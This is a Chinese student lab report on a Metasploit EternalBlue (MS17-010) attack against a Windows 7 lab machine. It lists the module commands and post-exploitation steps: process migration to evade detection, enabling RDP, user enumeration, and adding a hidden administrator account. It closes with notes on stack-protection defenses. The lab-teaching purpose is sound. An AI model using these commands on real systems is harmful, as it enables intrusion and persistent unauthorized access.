2021-09-16

实验五 缓冲区溢出攻击

一、实验目的

Metasploit永恒之蓝攻击win7
缓冲区溢出攻击

实验环境:kali IP:192.168.91.129
1 启动 Metasploit
在这里插入图片描述
没有出错,成功
在这里插入图片描述
2.漏洞测试
2.1在在控制台输入 search 17-010 搜索 cve17-010 相关的 exp
在这里插入图片描述
可以看到测试用的模块
1 auxiliary/scanner/smb/smb_ms17_010
攻击用的模块:
2 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
3 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
4exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2.2使用扫描测试模块
Use auxiliary/scanner/smb/smb_ms17_010
在这里插入图片描述
2.3指定需要设置的主机
Set rhosrs
在这里插入图片描述
2.4测试实施
Exploit
在这里插入图片描述
3攻击
3.1攻击步骤
use exploit/windows/smb/ms17_010_eternalblue
在这里插入图片描述
设置目标 ip 地址
在这里插入图片描述

攻击
在这里插入图片描述
可以看到攻击成功。
输入 ipconfig 或者 sysinfo 可以看到,得到的 ip 地址为目标主机的 ip,从而验证了攻击
成功。
在这里插入图片描述
在这里插入图片描述
3.2攻击后续
3.2.1进程迁移
在刚获得 Meterpreter Shell 时,该 Shell 是极其脆弱和易受攻击的,例如攻击者可以利
用浏览器漏洞攻陷目标机器,但攻击渗透后浏览器有可能被用户关闭。所以第一步就是要移
动这个 Shell,把它和目标机中一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入
操作。这样做使得渗透更难被检测到。
使用自动迁移进程命令(run post/windows/manage/migrate)后,系统会自动寻找合适的
进程然后迁移,如图所示。

在这里插入图片描述
在这里插入图片描述
输入run post/windows/manage/enable_rdp命令启动目标机的远程桌面协议,也就是常说
的 3389 端口。
在这里插入图片描述
输入 run post/windows/gather/enum_logged_on_users 命令列举当前有多少用户登陆了
目标机。
在这里插入图片描述
输入 shell 命令进入目标机 shell 下面(退出 shell 使用 exit 命令),然后在目标主机新建
在这里插入图片描述
一个账号:
net user kali kali /add
在这里插入图片描述把改用户加入到管理员组: net localgroup administrators kali /add
然后就可以使用远程桌面连接到目标主机

在这里插入图片描述

三、实验结论
Kali攻击win7利用永恒之蓝漏洞是可以实现的,但是在攻击过程中,可能会出现“Exploit completed, but no session was created.”这个问题,老师说这是因为没有攻击成功,我在网上也进行搜索,并没有找到解决办法,所以我换了一个版本的win7,完成了实验。

四、思考题
从哪些方面避免缓冲区溢出攻击?
1.stack guard
stack guard方法,是gcc所支持的一种方法(对应选项为-fstack-protector)。此种方法在堆栈中插入一个探测值。若利用缓冲区溢出来改写返回地址的话,通常也会覆盖这个探测值,编译器在编译函数时,分别在函数的入口处生成探测值,出口处比较探测值,通过探测值的被改动与否来判断是否有缓冲区溢出攻击的发生。
2. stack shield
stack shield方法在程序运行时,使用数组来备份返回地址,这样即使用户通过缓冲区溢出攻击手段修改了栈帧中的返回地址,但是很难改变数组中所备份的返回地址。因此,可以通过比较数组中的返回地址和堆栈中的返回地址的不同来判断是否有缓冲区溢出攻击的发生,或者直接使用数组中保存的返回地址,来保证程序正常的控制流。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值